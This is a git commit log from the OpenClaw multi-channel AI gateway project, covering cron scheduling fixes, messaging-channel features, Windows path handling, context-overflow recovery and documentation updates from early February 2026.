* fix(cron): recover flat params when LLM omits job wrapper (#11310)

Non-frontier models (e.g. Grok) flatten job properties to the top level
alongside `action` instead of nesting them inside the `job` parameter.
The opaque schema (`Type.Object({}, { additionalProperties: true })`)
gives these models no structural hint, so they put name, schedule,
payload, etc. as siblings of action.

Add a flat-params recovery step in the cron add handler: when
`params.job` is missing or an empty object, scan for recognised job
property names on params and construct a synthetic job object before
passing to `normalizeCronJobCreate`. Recovery requires at least one
meaningful signal field (schedule, payload, message, or text) to avoid
false positives.

Added tests:
- Flat params with no job wrapper → recovered
- Empty job object + flat params → recovered
- Message shorthand at top level → inferred as agentTurn
- No meaningful fields → still throws 'job required'
- Non-empty job takes precedence over flat params

* fix(cron): floor nowMs to second boundary before croner lookback

Cron expressions operate at second granularity. When nowMs falls
mid-second (e.g. 12:00:00.500) and the pattern targets that exact
second (like '0 0 12 * * *'), a 1ms lookback still lands inside the
matching second.  Croner interprets this as 'already past' and skips
to the next occurrence (e.g. the following day).

Fix: floor nowMs to the start of the current second before applying
the 1ms lookback.  This ensures the reference always falls in the
*previous* second, so croner correctly identifies the current match.

Also compare the result against the floored nowSecondMs (not raw nowMs)
so that a match at the start of the current second is not rejected by
the >= guard when nowMs has sub-second offset.

Adds regression tests for 6-field cron patterns with specific seconds.

* fix: add changelog entries for cron fixes (#12124) (thanks @tyler6204)

* test: stabilize warning filter emit assertion (#12124) (thanks @tyler6204)
2026-02-08 23:10:09 -08:00
clawdinator[bot]
fb8e4489a3 feat: Implement Telegram video note support with tests and docs (#12408)
* feat: Implement Telegram video note support with tests and docs

* fixing lint

* feat: add doctor-state-integrity command, Telegram messaging, and PowerShell Docker setup scripts.

* Update src/telegram/send.video-note.test.ts

Co-authored-by: greptile-apps[bot] <165735046+greptile-apps[bot]@users.noreply.github.com>

* fix: Set video note follow-up text to undefined for empty input and adjust caption test expectation.

* test: add assertion for `sendMessage` with reply markup and HTML parse mode in `send.video-note` test.

* docs: add changelog entry for Telegram video notes

---------

Co-authored-by: Evgenii Utkin <thewulf7@gmail.com>
Co-authored-by: greptile-apps[bot] <165735046+greptile-apps[bot]@users.noreply.github.com>
Co-authored-by: CLAWDINATOR Bot <clawdinator[bot]@users.noreply.github.com>
2026-02-09 07:00:57 +00:00
clawdinator[bot]
6ed255319f fix(skills): ignore Python venvs and caches in skills watcher (#12399)
* fix(skills): ignore Python venvs and caches in skills watcher

Add .venv, venv, __pycache__, .mypy_cache, .pytest_cache, build, and
.cache to the default ignored patterns for the skills watcher.

This prevents file descriptor exhaustion when a skill contains a Python
virtual environment with tens of thousands of files, which was causing
EBADF spawn errors on macOS.

Fixes #1056

Co-Authored-By: Claude Opus 4.5 <noreply@anthropic.com>

* docs: add changelog entry for skills watcher ignores

* docs: fill changelog PR number

---------

Co-authored-by: Kyle Howells <freerunnering@gmail.com>
Co-authored-by: Claude Opus 4.5 <noreply@anthropic.com>
Co-authored-by: CLAWDINATOR Bot <clawdinator[bot]@users.noreply.github.com>
2026-02-09 06:41:53 +00:00
juanpablodlc
8d96955e19 fix(routing): make bindings dynamic by calling loadConfig() per-message (#11372) 2026-02-09 00:34:55 -06:00
Tak Hoffman
0cf93b8fa7 Gateway: fix post-compaction amnesia for injected messages (#12283)
* Gateway: preserve Pi transcript parentId for injected messages

Thread: unknown
When: 2026-02-08 20:08 CST
Repo: https://github.com/openclaw/openclaw.git
Branch: codex/wip/2026-02-09/compact-post-compaction-parentid-fix

Problem
- Post-compaction turns sometimes lost the compaction summary + kept suffix in the *next* provider request.
- Root cause was session graph corruption: gateway appended "stopReason: injected" transcript lines via raw JSONL writes without `parentId`.
- Pi's `SessionManager.buildSessionContext()` walks the `parentId` chain from the current leaf; missing `parentId` can sever the active branch and hide the compaction entry.

Fix
- Use `SessionManager.appendMessage(...)` for injected assistant transcript writes so `parentId` is set to the current leaf.
- Route `chat.inject` through the same helper to avoid duplicating the broken raw JSONL append logic.

Why This Matters
- The compaction algorithm may be correct, but if the leaf chain is broken right after compaction, the provider payload cannot include the summary/suffix "shape" Pi expects.

Testing
- pnpm test src/agents/pi-embedded-helpers.post-compaction-shape.test.ts src/agents/pi-embedded-runner/run.overflow-compaction.post-context.test.ts
- pnpm build

Notes
- This is provider-shape agnostic: it fixes transcript structure so Anthropic/Gemini/etc all see the same post-compaction context.

Resume
- If post-compaction looks wrong again, inspect the session transcript for entries missing `parentId` immediately after `type: compaction`.

* Gateway: guardrail test for transcript parentId (chat.inject)

* Gateway: guardrail against raw transcript appends (chat.ts)

* Gateway: add local AGENTS.md note to preserve Pi transcript parentId chain

* Changelog: note gateway post-compaction amnesia fix

* Gateway: store injected transcript messages with valid stopReason

* Gateway: use valid stopReason in injected fallback
2026-02-08 23:07:31 -06:00
Ayaan Zaidi
d85f0566a9 fix: tighten thread-clear and telegram retry guards 2026-02-09 08:59:21 +05:30
Ayaan Zaidi
d7bd68ff24 fix: recover telegram sends from stale thread ids 2026-02-09 08:59:21 +05:30
Patrick Shao
5ac1be9cb6 fix: all bundled hooks broken since 2026.2.2 (tsdown migration) (#9295)
* fix: compile bundled hook handlers in tsdown build

The migration from tsc to tsdown in 2026.2.2 dropped bundled hook handlers
from the build output. The copy-hook-metadata.ts script only copies HOOK.md
metadata files, not the handler.ts source files. Without corresponding tsdown
entry points, the handlers were never compiled to JS, causing
`openclaw hooks list` to show 0 hooks on npm installs.

This adds each bundled hook handler and the llm-slug-generator (dynamically
imported by session-memory) as tsdown entry points:

  - src/hooks/bundled/session-memory/handler.ts
  - src/hooks/bundled/command-logger/handler.ts
  - src/hooks/bundled/boot-md/handler.ts
  - src/hooks/bundled/soul-evil/handler.ts
  - src/hooks/llm-slug-generator.ts

Regression introduced in 2026.2.2; versions 2026.1.29–2026.2.1 worked
correctly under the previous tsc build.

* refactor: use glob for bundled hook entries, fix dist output paths

- Replace hardcoded entry list with glob pattern in tsdown.config.ts
  so new hooks are auto-discovered (matching scripts/copy-hook-metadata.ts)
- Remove inconsistent comment block from tsdown.config.ts
- Fix copy-hook-metadata.ts to copy HOOK.md to dist/bundled/ (matching
  the runtime resolution in bundled-dir.ts which resolves path.join(moduleDir, 'bundled')
  relative to the chunk in dist/)
- Update stale path comment in session-memory handler
2026-02-09 11:35:47 +09:00
Josh Palmer
69aa3df116 macOS: honor stable Nix defaults suite (#12205)
* macOS: honor Nix defaults suite; auto launch in Nix mode

Fixes repeated onboarding in Nix deployments by detecting nixMode from the stable defaults suite (ai.openclaw.mac) and bridging key settings into the current defaults domain.

Also enables LaunchAgent autostart by default in Nix mode (escape hatch: openclaw.nixAutoLaunchAtLogin=false).

* macOS: keep Nix mode fix focused

Drop the automatic launch-at-login behavior from the Nix defaults patch; keep this PR scoped to reliable nixMode detection + defaults bridging.

* macOS: simplify nixMode fix

Remove the defaults-bridging helper and rely on a single, stable defaults suite (ai.openclaw.mac) for nixMode detection when running as an app bundle. This keeps the fix focused on onboarding suppression and rename churn resilience.

* macOS: fix nixMode defaults suite churn (#12205)
2026-02-08 17:28:22 -08:00
max
53a1ac36f5 test: normalize paths in OPENCLAW_HOME tests for cross-platform support (#12212)
* test: normalize paths in OPENCLAW_HOME tests for cross-platform support

* test: normalize paths in Nix integration tests for cross-platform support

* test: remove unnecessary Windows skip from pi-embedded-runner test

* test: fix nix integration tests for path.resolve behavior
2026-02-08 17:21:31 -08:00
Marcus Castro
456bd58740 fix(paths): structurally resolve home dir to prevent Windows path bugs (#12125)
* fix(paths): structurally resolve home dir to prevent Windows path bugs

Extract resolveRawHomeDir as a private function and gate the public
resolveEffectiveHomeDir through a single path.resolve() exit point.
This makes it structurally impossible for unresolved paths (missing
drive letter on Windows) to escape the function, regardless of how
many return paths exist in the raw lookup logic.

Simplify resolveRequiredHomeDir to only resolve the process.cwd()
fallback, since resolveEffectiveHomeDir now returns resolved values.

Fix shortenMeta in tool-meta.ts: the colon-based split for file:line
patterns (e.g. file.txt:12) conflicts with Windows drive letters
(C:\...) because indexOf(":") matches the drive colon first.
shortenHomeInString already handles file:line patterns correctly via
split/join, so the colon split was both unnecessary and harmful.

Update test assertions across all affected files to use path.resolve()
in expected values and input strings so they match the now-correct
resolved output on both Unix and Windows.

Fixes #12119

* fix(changelog): add paths Windows fix entry (#12125)

---------

Co-authored-by: Sebastian <19554889+sebslight@users.noreply.github.com>
2026-02-08 20:06:29 -05:00
cpojer
0244d521a1 chore: Fix lockfile + pnpm dedupe. 2026-02-09 10:00:53 +09:00
cpojer
6614c3f932 chore: Fix lint. 2026-02-09 09:58:58 +09:00
cpojer
0497bb0544 chore: Fix failing test. 2026-02-09 09:58:58 +09:00
cpojer
3573f26d40 chore: Update deps. 2026-02-09 09:58:58 +09:00
max
f4fc65d234 test: skip unix-path OPENCLAW_HOME tests on Windows (#12206) 2026-02-09 09:56:21 +09:00
max
223eee0a20 refactor: unify peer kind to ChatType, rename dm to direct (#11881)
* fix: use .js extension for ESM imports of RoutePeerKind

The imports incorrectly used .ts extension which doesn't resolve
with moduleResolution: NodeNext. Changed to .js and added 'type'
import modifier.

* fix tsconfig

* refactor: unify peer kind to ChatType, rename dm to direct

- Replace RoutePeerKind with ChatType throughout codebase
- Change 'dm' literal values to 'direct' in routing/session keys
- Keep backward compat: normalizeChatType accepts 'dm' -> 'direct'
- Add ChatType export to plugin-sdk, deprecate RoutePeerKind
- Update session key parsing to accept both 'dm' and 'direct' markers
- Update all channel monitors and extensions to use ChatType

BREAKING CHANGE: Session keys now use 'direct' instead of 'dm'.
Existing 'dm' keys still work via backward compat layer.

* fix tests

* test: update session key expectations for dmdirect migration

- Fix test expectations to expect :direct: in generated output
- Add explicit backward compat test for normalizeChatType('dm')
- Keep input test data with :dm: keys to verify backward compat

* fix: accept legacy 'dm' in session key parsing for backward compat

getDmHistoryLimitFromSessionKey now accepts both :dm: and :direct:
to ensure old session keys continue to work correctly.

* test: add explicit backward compat tests for dmdirect migration

- session-key.test.ts: verify both :dm: and :direct: keys are valid
- getDmHistoryLimitFromSessionKey: verify both formats work

* feat: backward compat for resetByType.dm config key

* test: skip unix-path Nix tests on Windows
2026-02-09 09:20:52 +09:00
George Pickett
0b07e15b63 chore(changelog): note maxTokens clamp (#5516) (thanks @lailoo) (#12139) 2026-02-08 14:27:11 -08:00
George Pickett
92764a60d6 test(config): cover maxTokens clamping 2026-02-08 14:24:57 -08:00
damaozi
eed580d310 fix(config): clamp maxTokens to contextWindow to prevent invalid configurations
Closes #5308

When users configure maxTokens larger than contextWindow (e.g., maxTokens: 40960
with contextWindow: 32768), the model may fail silently. This fix clamps
maxTokens to be at most contextWindow, preventing such invalid configurations.
2026-02-08 14:24:57 -08:00
Sebastian
41f3e90ea8 changelog: split #12091 entry into Added + Fixes 2026-02-08 16:21:18 -05:00
Seb Slight
db137dd65d fix(paths): respect OPENCLAW_HOME for all internal path resolution (#12091)
* fix(paths): respect OPENCLAW_HOME for all internal path resolution (#11995)

Add home-dir module (src/infra/home-dir.ts) that centralizes home
directory resolution with precedence: OPENCLAW_HOME > HOME > USERPROFILE > os.homedir().

Migrate all path-sensitive callsites: config IO, agent dirs, session
transcripts, pairing store, cron store, doctor, CLI profiles.

Add envHomedir() helper in config/paths.ts to reduce lambda noise.
Document OPENCLAW_HOME in docs/help/environment.md.

* fix(paths): handle OPENCLAW_HOME '~' fallback (#12091) (thanks @sebslight)

* docs: mention OPENCLAW_HOME in install and getting started (#12091) (thanks @sebslight)

* fix(status): show OPENCLAW_HOME in shortened paths (#12091) (thanks @sebslight)

* docs(changelog): clarify OPENCLAW_HOME and HOME precedence (#12091) (thanks @sebslight)
2026-02-08 16:20:13 -05:00
Josh Palmer
c95e6fe6dc Docs: note language switcher ordering + JP flag fix (#12023) (thanks @joshp123) 2026-02-08 10:45:44 -08:00
Josh Palmer
2b4135debc Docs: fix language switcher order + Japanese locale 2026-02-08 10:45:44 -08:00
Josh Palmer
6e3271ebb6 Docs: note ja-JP docs POC in changelog (#11988) (thanks @joshp123) 2026-02-08 10:18:04 -08:00
Josh Palmer
d8dbfc701c Docs: use ja-jp Mintlify language code 2026-02-08 10:18:04 -08:00
Josh Palmer
c4213b89eb Docs: seed ja-JP translations 2026-02-08 10:18:04 -08:00
Josh Palmer
d2ec78607d Docs i18n: make translation prompt language-pluggable 2026-02-08 10:18:04 -08:00
Vignesh Natarajan
7f7d49aef0 Memory/QMD: warn when scope denies search 2026-02-08 09:21:17 -08:00
Mariano Belinky
6aedc54bd7 iOS: alpha node app + setup-code onboarding (#11756) 2026-02-08 18:08:13 +01:00
Mariano Belinky
730f86dd5c Gateway/Plugins: device pairing + phone control plugins (#11755) 2026-02-08 18:07:13 +01:00
Seb Slight
2f91bf550f docs: fix changelog PR reference
Fix Exec approvals command text formatting issue for safer approval scanning.
2026-02-08 10:50:10 -05:00
Seb Slight
ad8b839aa7 Exec approvals: render forwarded commands in monospace (#11937)
* fix(exec-approvals): format forwarded commands as code

* fix(exec-approvals): place fenced command blocks on new line (#11937) (thanks @sebslight)
2026-02-08 10:48:52 -05:00
seans-openclawbot
744892de72 Add GitHub Copilot models to xhigh list (#11646)
* Add GitHub Copilot models to xhigh list

* fix(thinking): add xhigh copilot tests and changelog (#11646) (thanks @seans-openclawbot)

---------

Co-authored-by: Sean Dai <sdai@gatech.edu>
Co-authored-by: Sebastian <19554889+sebslight@users.noreply.github.com>
2026-02-08 08:45:59 -05:00
max
eb3e9c649b chore: fix vitest standalone configs and update package description (#11865)
* chore: fix vitest standalone configs and update package description

- vitest.live.config.ts and vitest.e2e.config.ts now extend root config
- Inherits testTimeout (120s), resolve.alias, pool, setupFiles, excludes
- ui/vitest.node.config.ts gets explicit 120s timeout
- package.json description updated for multi-channel AI gateway
- Removed unused src/utils/time-format.ts

* chore: filter inherited excludes in live/e2e vitest configs

* refactor: dedupe GroupPolicy/DmPolicy in extensions

Import from openclaw/plugin-sdk instead of re-declaring identical types.
2026-02-08 05:24:50 -08:00
max
a1123dd9be Centralize date/time formatting utilities (#11831) 2026-02-08 04:53:31 -08:00
theonejvo
74fbbda283 docs: add security & trust documentation
Add threat model (MITRE ATLAS), contribution guide, and security
directory README. Update SECURITY.md with trust page reporting
instructions and Jamieson O'Reilly as Security & Trust.

Co-Authored-By: theonejvo <theonejvo@users.noreply.github.com>
2026-02-08 21:53:05 +11:00
max
28e1a65ebc chore: project hygiene — fix workspace:*, sandbox USER, dead config (#11289)
* chore: project hygiene fixes (workspace:*, sandbox USER, dead config)

* chore: also fix workspace:* in zalouser dependencies
2026-02-08 02:36:42 -08:00
Gustavo Madeira Santana
c56fb7f353 chore: suppress warnings for node default output path 2026-02-08 05:32:58 -05:00
Gustavo Madeira Santana
3119057161 chore: centralizing warning filters 2026-02-08 05:18:08 -05:00
Gustavo Madeira Santana
cef9bfce22 CI: scope heavy jobs, build once, and remove duplicate validation work (#11570)
* CI: scope jobs and reuse build artifacts

* CI: fix scope fallback and remove unused artifact job

* CI: remove setup-node pnpm cache inputs

* CI: add pnpm store cache and dist artifact smoke

* CI: extract pnpm cache action and consume dist artifact
2026-02-08 02:08:56 -08:00
Gustavo Madeira Santana
b75d618080 fix(doctor): suppress repeated legacy state migration warnings (#11709)
* fix(doctor): suppress repeated state migration warning

* fix: harden state-dir mirror detection + warnings (#11709) (thanks @gumadeiras)

* test: cover mirror hardening edge cases (#11709) (thanks @gumadeiras)
2026-02-08 02:27:49 -05:00
ezhikkk
e02d144af9 feat(telegram): add spoiler tag support (#11543)
* feat(telegram): add spoiler tag support

Render markdown ||spoiler|| syntax as <tg-spoiler> tags in Telegram HTML output.

The markdown IR already parses spoiler syntax, but the Telegram renderer was
missing the style marker. This adds the spoiler marker to renderTelegramHtml().

Fixes spoiler text appearing as raw ||text|| instead of hidden text.

* fix: enable Telegram spoiler rendering (#11543) (thanks @ezhikkk)

---------

Co-authored-by: Параша <parasha@openclaw.local>
Co-authored-by: Muhammed Mukhthar CM <mukhtharcm@gmail.com>
2026-02-08 11:25:56 +05:30
jarvis89757
9949f82590 fix(discord): support forum channel thread-create (#10062)
* fix(discord): support forum channel thread-create

* fix: harden discord forum thread-create (#10062) (thanks @jarvis89757)

---------

Co-authored-by: Shakker <shakkerdroid@gmail.com>
2026-02-08 05:51:10 +00:00
Tyler Yust
bc475f0172 fix(ui): smooth chat refresh scroll and suppress new-messages badge flash 2026-02-07 20:21:27 -08:00
Tyler Yust
191da1feb5 fix: context overflow compaction and subagent announce improvements (#11664) (thanks @tyler6204)
* initial commit

* feat: implement deriveSessionTotalTokens function and update usage tests

* Added deriveSessionTotalTokens function to calculate total tokens based on usage and context tokens.
* Updated usage tests to include cases for derived session total tokens.
* Refactored session usage calculations in multiple files to utilize the new function for improved accuracy.

* fix: restore overflow truncation fallback + changelog/test hardening (#11551) (thanks @tyler6204)
2026-02-07 20:02:32 -08:00
Tyler Yust
8fae55e8e0 fix(cron): share isolated announce flow + harden cron scheduling/delivery (#11641)
* fix(cron): comprehensive cron scheduling and delivery fixes

- Fix delivery target resolution for isolated agent cron jobs
- Improve schedule parsing and validation
- Add job retry logic and error handling
- Enhance cron ops with better state management
- Add timer improvements for more reliable cron execution
- Add cron event type to protocol schema
- Support cron events in heartbeat runner (skip empty-heartbeat check,
  use dedicated CRON_EVENT_PROMPT for relay)

* fix: remove cron debug test and add changelog/docs notes (#11641) (thanks @tyler6204)
2026-02-07 19:46:01 -08:00
Oleg Kossoy
ebe5730401 fix: use STATE_DIR instead of hardcoded ~/.openclaw for identity and canvas (#4824)
* fix: use STATE_DIR instead of hardcoded ~/.openclaw for identity and canvas

device-identity.ts and canvas-host/server.ts used hardcoded
path.join(os.homedir(), '.openclaw', ...) ignoring OPENCLAW_STATE_DIR
env var and the resolveStateDir() logic from config/paths.ts.

This caused ~/.openclaw/identity and ~/.openclaw/canvas directories
to be created even when state dir was overridden or resided elsewhere.

* fix: format and remove duplicate imports

* fix: scope state-dir patch + add regression tests (#4824) (thanks @kossoy)

* fix: align state-dir fallbacks in hooks and agent paths (#4824) (thanks @kossoy)

---------

Co-authored-by: Gustavo Madeira Santana <gumadeiras@gmail.com>
2026-02-07 22:16:59 -05:00
大猫子
0499656c59 Docs: fix cron.update param name id → jobId (#11365) (#11467)
* Docs: fix cron.update param name id → jobId (#11365)

* Docs: sync zh-CN cron.update param name id → jobId

* docs: revert manual zh-CN generated docs edit (#11467) (thanks @lailoo)

---------

Co-authored-by: damaozi <1811866786@qq.com>
Co-authored-by: Sebastian <19554889+sebslight@users.noreply.github.com>
2026-02-07 22:08:41 -05:00
danielcadenhead
05a57e94a4 Fix Nix repository link in README (#7910)
Updated Nix repository link in README.

Co-authored-by: Josh <141778+bolapara@users.noreply.github.com>
Co-authored-by: Seb Slight <19554889+sebslight@users.noreply.github.com>
2026-02-07 21:53:32 -05:00
Gustavo Madeira Santana
c27b03794a chore: updated PR review skills and workflow info on tests + fake timers 2026-02-07 21:47:25 -05:00
Rohan Patil
9866a857a7 docs: clarify onboarding instructions for beginners (#10956) 2026-02-07 21:43:59 -05:00
Gustavo Madeira Santana
e2dea2684f Tests: harden flake hotspots and consolidate provider-auth suites (#11598)
* Tests: harden flake hotspots and consolidate provider-auth suites

* Tests: restore env vars by deleting missing snapshot values

* Tests: use real newline in memory summary filter case

* Tests(memory): use fake timers for qmd timeout coverage

* Changelog: add tests hardening entry for #11598
2026-02-07 21:32:23 -05:00
Tyler Yust
a30c4f45c3 Update CHANGELOG.md for version 2026.2.6-4: Added RPC methods for agent management, fixed context overflow recovery, improved LAN IP handling, enhanced memory retrieval, and updated media understanding for audio transcription. 2026-02-07 18:15:25 -08:00
Vignesh Natarajan
95263f4e60 Memory: add SQLITE_BUSY fallback regression test 2026-02-07 17:55:34 -08:00
Vignesh Natarajan
6f1ba986b3 Memory: make QMD cache eviction callback idempotent 2026-02-07 17:55:34 -08:00
Vignesh Natarajan
c741d008dd Memory: chain forced QMD queue and fail over on busy index 2026-02-07 17:55:34 -08:00
Vignesh Natarajan
0d60ef6fef Memory: queue forced QMD sync and handle sqlite busy reads 2026-02-07 17:55:34 -08:00
Vignesh Natarajan
ce715c4c56 Memory: harden QMD startup, timeouts, and fallback recovery 2026-02-07 17:55:34 -08:00
Tyler Yust
0deb8b0da1 fix: recover from context overflow caused by oversized tool results (#11579)
* fix: gracefully handle oversized tool results causing context overflow

When a subagent reads a very large file or gets a huge tool result (e.g.,
gh pr diff on a massive PR), it can exceed the model's context window in
a single prompt. Auto-compaction can't help because there's no older
history to compact — just one giant tool result.

This adds two layers of defense:

1. Pre-emptive: Hard cap on tool result size (400K chars ≈ 100K tokens)
   applied in the session tool result guard before persistence. This
   prevents extremely large tool results from being stored in full,
   regardless of model context window size.

2. Recovery: When context overflow is detected and compaction fails,
   scan session messages for oversized tool results relative to the
   model's actual context window (30% max share). If found, truncate
   them in the session via branching (creating a new branch with
   truncated content) and retry the prompt.

The truncation preserves the beginning of the content (most useful for
understanding what was read) and appends a notice explaining the
truncation and suggesting offset/limit parameters for targeted reads.

Includes comprehensive tests for:
- Text truncation with newline-boundary awareness
- Context-window-proportional size calculation
- In-memory message truncation
- Oversized detection heuristics
- Guard-level size capping during persistence

* fix: prep fixes for tool result truncation PR (#11579) (thanks @tyler6204)
2026-02-07 17:40:51 -08:00
Aviral
b8c8130efe fix(gateway): use LAN IP for WebSocket/probe URLs when bind=lan (#11448)
* fix(gateway): use LAN IP for WebSocket/probe URLs when bind=lan (#11329)

When gateway.bind=lan, the HTTP server correctly binds to 0.0.0.0
(all interfaces), but WebSocket connection URLs, probe targets, and
Control UI links were hardcoded to 127.0.0.1. This caused CLI commands
and status probes to show localhost-only URLs even in LAN mode, and
made onboarding display misleading connection info.

- Add pickPrimaryLanIPv4() to gateway/net.ts to detect the machine's
  primary LAN IPv4 address (prefers en0/eth0, falls back to any
  external interface)
- Update pickProbeHostForBind() to use LAN IP when bind=lan
- Update buildGatewayConnectionDetails() to use LAN IP and report
  "local lan <ip>" as the URL source
- Update resolveControlUiLinks() to return LAN-accessible URLs
- Update probe note in status.gather.ts to reflect new behavior
- Add tests for pickPrimaryLanIPv4 and bind=lan URL resolution

Closes #11329

Co-authored-by: Cursor <cursoragent@cursor.com>

* test: move vi.restoreAllMocks to afterEach in pickPrimaryLanIPv4

Per review feedback: avoid calling vi.restoreAllMocks() inside
individual tests as it restores all spies globally and can cause
ordering issues. Use afterEach in the describe block instead.

Co-authored-by: Cursor <cursoragent@cursor.com>

* Changelog: note LAN bind URLs fix (#11448) (thanks @AnonO6)

---------

Co-authored-by: Cursor <cursoragent@cursor.com>
Co-authored-by: Tak Hoffman <781889+Takhoffman@users.noreply.github.com>
2026-02-07 19:16:51 -06:00
Tyler Yust
ea423bbbfd feat(sanitize): enhance context overflow error handling in user-facing text
- Added tests to ensure proper sanitization of context overflow errors.
- Introduced a new function to determine when to rewrite context overflow messages.
- Updated the sanitization logic to improve user experience by providing clearer error messages while preserving conversational context.
2026-02-07 17:07:12 -08:00
Advait Paliwal
980f788731 feat(gateway): add agents.create/update/delete methods (#11045)
* feat(gateway): add agents.create/update/delete methods

* fix(lint): preserve memory-lancedb load error cause

* feat(gateway): trash agent files on agents.delete

* chore(protocol): regenerate Swift gateway models

* fix(gateway): stabilize agents.create dirs and agentDir

* feat(gateway): support avatar in agents.create

* fix: prep agents.create/update/delete handlers (#11045) (thanks @advaitpaliwal)

- Reuse movePathToTrash from browser/trash.ts (has ~/.Trash fallback on non-macOS)
- Fix partial-failure: workspace setup now runs before config write
- Always write Name to IDENTITY.md regardless of emoji/avatar
- Add unit tests for agents.create, agents.update, agents.delete
- Add CHANGELOG entry

---------

Co-authored-by: Tyler Yust <TYTYYUST@YAHOO.COM>
2026-02-07 16:47:58 -08:00
Tak Hoffman
9271fcb3d4 Gateway: fix multi-agent sessions.usage discovery (#11523)
* Gateway: fix multi-agent sessions.usage discovery

* Gateway: resolve sessions.usage keys via sessionId
2026-02-07 17:40:56 -06:00
succ985
b8f740fb14 fix: add .caf to AUDIO_FILE_EXTENSIONS (#10982)
* fix: add .caf to AUDIO_FILE_EXTENSIONS for iMessage voice messages

* fix: add caf audio extension regression coverage (#10982) (thanks @succ985)

---------

Co-authored-by: succ985 <succ985@users.noreply.github.com>
Co-authored-by: Gustavo Madeira Santana <gumadeiras@gmail.com>
2026-02-07 18:04:22 -05:00
max
8da20027c4 CI: skip heavy jobs on docs-only changes (#11328) 2026-02-08 07:43:47 +09:00
Abdullah
9201e140cb Fix typo in FAQ regarding model configuration command (#6048) 2026-02-07 15:48:54 -05:00
Gustavo Madeira Santana
ff80646085 chore: bump pi to 0.52.8 2026-02-07 15:41:27 -05:00
Seb Slight
929a3725d3 docs: canonicalize docs paths and align zh navigation (#11428)
* docs(navigation): canonicalize paths and align zh nav

* chore(docs): remove stray .DS_Store

* docs(scripts): add non-mint docs link audit

* docs(nav): fix zh source paths and preserve legacy redirects (#11428) (thanks @sebslight)

* chore(docs): satisfy lint for docs link audit script (#11428) (thanks @sebslight)
2026-02-07 15:40:35 -05:00
Gustavo Madeira Santana
cde29fef71 added more explicit instructions 2026-02-07 15:27:24 -05:00
Gustavo Madeira Santana
6d1daf2ba5 adding PR review workflow 2026-02-07 15:22:08 -05:00
nathandenherder
878a13d215 fix: don't consume replyPlan reference eagerly for streaming check
The streaming check was calling replyPlan.nextThreadTs() at setup time
to determine if a thread_ts existed, which consumed the first reference
before the deliver callback ran. Use incomingThreadTs/statusThreadTs
directly for the streaming eligibility check instead.
2026-02-07 15:03:12 -05:00
nathandenherder
06efbd231f fix: resolve ChatStreamer import path and TypeScript narrowing issue
- Import ChatStreamer from @slack/web-api/dist/chat-stream.js (not re-exported from index)
- Fix TypeScript control flow narrowing for streamSession used in closure
2026-02-07 15:03:12 -05:00
nathandenherder
6945fbf100 feat(slack): add native text streaming support
Adds support for Slack's Agents & AI Apps text streaming APIs
(chat.startStream, chat.appendStream, chat.stopStream) to deliver
LLM responses as a single updating message instead of separate
messages per block.

Changes:
- New src/slack/streaming.ts with stream lifecycle helpers using
  the SDK's ChatStreamer (client.chatStream())
- New 'streaming' config option on SlackAccountConfig
- Updated dispatch.ts to route block replies through the stream
  when enabled, with graceful fallback to normal delivery
- Docs in docs/channels/slack.md covering setup and requirements

The streaming integration works by intercepting the deliver callback
in the reply dispatcher. When streaming is enabled and a thread
context exists, the first text delivery starts a stream, subsequent
deliveries append to it, and the stream is finalized after dispatch
completes. Media payloads and error cases fall back to normal
message delivery.

Refs:
- https://docs.slack.dev/ai/developing-ai-apps#streaming
- https://docs.slack.dev/reference/methods/chat.startStream
- https://docs.slack.dev/reference/methods/chat.appendStream
- https://docs.slack.dev/reference/methods/chat.stopStream
2026-02-07 15:03:12 -05:00
Tak Hoffman
82419eaad6 Web UI: show Compaction divider in chat history (#11341) 2026-02-07 12:37:22 -06:00
Tak Hoffman
f0722498a4 Agents: include runtime shell (#1835)
* Agents: include runtime shell

* Agents: fix compact runtime build

* chore: fix CLAUDE.md formatting, security regex for secret

---------

Co-authored-by: Tak hoffman <takayukihoffman@gmail.com>
Co-authored-by: quotentiroler <max.nussbaumer@maxhealth.tech>
2026-02-07 09:32:31 -08:00
大猫子
a4d5c7f673 docs: add missing HEARTBEAT.md and MEMORY.md to bootstrap files list (#8105)
* docs: add missing HEARTBEAT.md and MEMORY.md to bootstrap files list

Fixes #7928

The documentation for skipBootstrap and workspace setup was missing
HEARTBEAT.md and MEMORY.md from the bootstrap files list.

Changes:
- docs/gateway/configuration.md: Add HEARTBEAT.md and MEMORY.md
- docs/zh-CN/gateway/configuration.md: Same for Chinese version
- docs/start/openclaw.md: Add HEARTBEAT.md, clarify MEMORY.md is optional
- docs/zh-CN/start/openclaw.md: Same for Chinese version

* fix: reference PR number instead of issue in CHANGELOG

* docs(workspace): align bootstrap file docs with runtime (#8105)

---------

Co-authored-by: damaozi <1811866786@qq.com>
Co-authored-by: Sebastian <19554889+sebslight@users.noreply.github.com>
2026-02-07 10:51:44 -05:00
Seb Slight
9a3f62cb86 docs: add symptom-first troubleshooting hub and deep runbooks (#11196)
* docs(troubleshooting): add symptom-first troubleshooting runbooks

* docs(troubleshooting): fix approvals command examples

* docs(troubleshooting): wrap symptom cases in accordions

* docs(automation): clarify userTimezone missing-key behavior

* docs(troubleshooting): fix first-60-seconds ladder order
2026-02-07 10:28:19 -05:00
Tyler Yust
1007d71f0c fix: comprehensive BlueBubbles and channel cleanup (#11093)
* feat(bluebubbles): auto-strip markdown from outbound messages (#7402)

* fix(security): add timeout to webhook body reading (#6762)

Adds 30-second timeout to readBody() in voice-call, bluebubbles, and nostr
webhook handlers. Prevents Slow-Loris DoS (CWE-400, CVSS 7.5).
Merged with existing maxBytes protection in voice-call.

* fix(security): unify Error objects and lint fixes in webhook timeouts (#6762)

* fix: prevent plugins from auto-enabling without user consent (#3961)

Changes default plugin enabled state from true to false in enablePluginEntry().
Preserves existing enabled:true values. Fixes #3932.

* fix: apply hierarchical mediaMaxMb config to all channels (#8749)

Generalizes resolveAttachmentMaxBytes() to use account → channel → global
config resolution for all channels, not just BlueBubbles. Fixes #7847.

* fix(bluebubbles): sanitize attachment filenames against header injection (#10333)

Strip ", \r, \n, and \\ from filenames after path.basename() to prevent
multipart Content-Disposition header injection (CWE-93, CVSS 5.4).
Also adds sanitization to setGroupIconBlueBubbles which had zero filename
sanitization.

* fix(lint): exclude extensions/ from Oxlint preflight check (#9313)

Extensions use PluginRuntime|null patterns that trigger
no-redundant-type-constituents because PluginRuntime resolves to any.
Excluding extensions/ from Oxlint unblocks user upgrades.
Re-applies the approach from closed PR #10087.

* fix(bluebubbles): add tempGuid to createNewChatWithMessage payload (#7745)

Non-Private-API mode (AppleScript) requires tempGuid in send payloads.
